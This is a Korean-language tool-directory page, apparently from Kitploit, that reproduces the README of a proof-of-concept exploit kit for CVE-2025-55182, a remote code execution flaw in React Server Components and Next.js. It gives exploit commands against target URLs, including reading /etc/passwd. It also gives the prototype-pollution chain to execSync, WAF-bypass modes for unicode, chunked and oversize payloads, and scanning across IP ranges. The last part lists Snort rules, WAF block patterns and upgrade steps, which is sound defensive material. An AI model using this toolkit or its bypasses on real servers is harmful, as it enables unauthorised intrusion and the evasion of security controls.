Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/zxz3650/cve-2025-55182-poc
Vulnerability AnalysisExploitationIDS/IPS EvasionWeb Application ExploitationWAF BypassPenetration TestingPayload Development
GitHubzxz3650/cve-2025-55182-poc

CVE-2025-55182-POC

CVE-2025-55182-POC

저장소 보기
179개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182 POC & Detection

React Server Components (RSC) Unsafe Deserialization 취약점 익스플로잇 및 탐지 도구 모음

취약점 정보

  • CVE-ID: CVE-2025-55182
  • 영향 버전: React 19.x, Next.js 15.x/16.x (App Router 사용 시)
  • 공격 벡터: RSC Flight 프로토콜 역직렬화 시 프로토타입 오염을 통한 RCE
  • 위험도: Critical (CVSS 10.0)

📦 구성 요소

1. 취약한 환경 (Docker)

  • docker-compose.yml - Next.js 15.0.3 + React 19.0.0-rc
  • vulnerable-app/ - 취약한 Server Action 코드

2. 익스플로잇 도구

  • exploit_advanced.py - 다중 공격 기법 지원 (Basic/Advanced/Chunked/Oversize)

3. 취약점 스캐너

  • rsc_vulnerability_checker_multi.py - 멀티 타겟 취약점 진단 도구
도구 다운로드

4. IDS 탐지 룰

  • rules_priority_based - Snort 우선순위 기반 탐지 룰셋

🚀 Quick Start

1. 취약한 환경 구축

root@kitploit:~
cd vulnerable-app
docker-compose up -d
# http://localhost:3000 접속 확인

2. 취약점 진단

root@kitploit:~
# 단일 URL 테스트
python3 rsc_vulnerability_checker_multi.py http://localhost:3000

# 여러 URL 배치 스캔
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com

# IP 범위 스캔
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20

# 파일에서 읽기
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o results.csv

3. 익스플로잇 실행

root@kitploit:~
# 기본 공격
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic

# 고급 공격 (프로토타입 체인 + thenable)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --advanced

# WAF 우회 - Unicode 인코딩
python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass

# WAF 우회 - Chunked Transfer Encoding
python3 exploit_advanced.py -u http://target.com -c "uname -a" --chunked

# WAF 우회 - Oversize Payload (AWS WAF)
python3 exploit_advanced.py -u http://target.com -c "id" --oversize 65536

# 모든 기법 순차 시도
python3 exploit_advanced.py -u http://target.com -c "whoami" --all -v

4. 네트워크 탐지 테스트

root@kitploit:~
# 공격 트래픽 캡처
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all
sudo pkill tcpdump

# Snort로 분석
snort -c snort.conf -r attack.pcap -A console -k none

익스플로잇 기법 상세

Basic Mode

직접 RSC Flight 페이로드 전송

root@kitploit:~
# Server Action 직접 호출
POST /?__rsc_action__ HTTP/1.1
Content-Type: text/plain
next-action: <action_id>

["$@1",["$","$L2",null,{...}]]

Advanced Mode

프로토타입 오염(Prototype Pollution)을 이용한 RCE

root@kitploit:~
// 핵심 원리
{
  "then": "$1:__proto__:then",           // Chunk.prototype.then 트리거
  "_response": {                          // fake response 주입
    "_formData": {...},
    "_prefix": ""
  },
  "$1:constructor:constructor": Function  // Function 생성자 접근
}

공격 체인:

  1. __proto__ 오염으로 Chunk.prototype.then 설정
  2. _response 객체 주입으로 FormData 제어
  3. $B 핸들러가 response._formData.get(id) 호출
  4. constructor:constructor 체인으로 Function 접근
  5. process.mainModule.require('child_process').execSync(cmd) 실행

Chunked Mode

Transfer-Encoding을 이용한 패턴 분산

root@kitploit:~
POST /?__rsc_action__ HTTP/1.1
Transfer-Encoding: chunked

10
["$@1",["$","
15
$L2",null,{"then
...
  • WAF 패턴 매칭 우회 (키워드 분할)
  • 단일 버퍼로 검사 불가능

Oversize Mode

AWS WAF 크기 제한 우회

root@kitploit:~
payload = original_payload + "X" * (size - len(original_payload))
# AWS WAF: 처음 8KB만 검사
# 실제 공격 코드를 8KB 이후에 배치

📊 탐지 룰 우선순위

P0 Rules (SID 2000xxx) - 즉시 차단

  • process.mainModule.require + child_process + execSync
  • __proto__ + resolved_model + RCE 모듈
  • /etc/passwd, /etc/shadow, .ssh/id_rsa 접근

📋 요구사항

필수

  • Docker & Docker Compose
  • Python 3.8+
  • requests 라이브러리
    root@kitploit:~
    pip install requests
    

선택 (탐지 테스트용)

  • Snort 2.9+
  • tcpdump

🔍 취약점 스캐너 사용법

기본 사용

root@kitploit:~
# 단일 URL
python3 rsc_vulnerability_checker_multi.py http://target.com

# 복수 URL
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com

고급 사용

root@kitploit:~
# IP 범위 스캔 (CIDR)
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.0/24 -p 3000

# IP 범위 스캔 (하이픈)
python3 rsc_vulnerability_checker_multi.py -r 10.0.0.1-254 -p 8080 --threads 50

# 파일 입력/출력
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o scan_results.csv

# Verbose 모드
python3 rsc_vulnerability_checker_multi.py http://target.com -v

출력 형식

root@kitploit:~
[VULNERABLE] http://target.com:3000 - React 19.0.0-rc, Next.js 15.0.3
[SAFE] http://example.com:3000 - Not vulnerable
[ERROR] http://offline.com:3000 - Connection timeout

🎯 익스플로잇 도구 옵션

공격 모드

  • --basic: 직접 RSC Flight 페이로드 전송
  • --advanced: 프로토타입 체인 + thenable 기법
  • --chunked: Transfer-Encoding 분할 전송
  • --oversize <size>: Oversize 페이로드 (기본: 65536 bytes)
  • --all: 모든 기법 순차 시도

WAF 우회

  • --waf-bypass: Unicode 인코딩 (constructor → \u0063onstructor)
  • --chunked: 패턴 분산 배치
  • --oversize: AWS WAF 크기 제한 우회

기타

  • -v, --verbose: 상세 출력
  • -t, --timeout: 요청 타임아웃 (기본: 10초)

🛡 방어 및 탐지

애플리케이션 레벨

  1. React 19.0.0-rc → 19.0.0 (stable) 업그레이드
  2. Next.js 15.0.3 → 15.1.0+ 업그레이드
  3. Server Actions 입력 검증 강화
  4. experimental 기능 비활성화

네트워크 레벨

  1. Snort 룰 적용 (rules_priority_based)
  2. WAF 정책:
    • __proto__ 키워드 차단
    • process.mainModule.require 패턴 차단
    • POST body 크기 제한 (< 1MB)
  3. Rate Limiting (Server Action 요청 제한)

모니터링

root@kitploit:~
# Snort 실시간 모니터링
snort -c snort.conf -i eth0 -A console

# 로그 파일 분석
snort -c snort.conf -r network.pcap -A fast

본 게시물은 연구/교육/진단 검증 목적 외에는 사용하지 않습니다.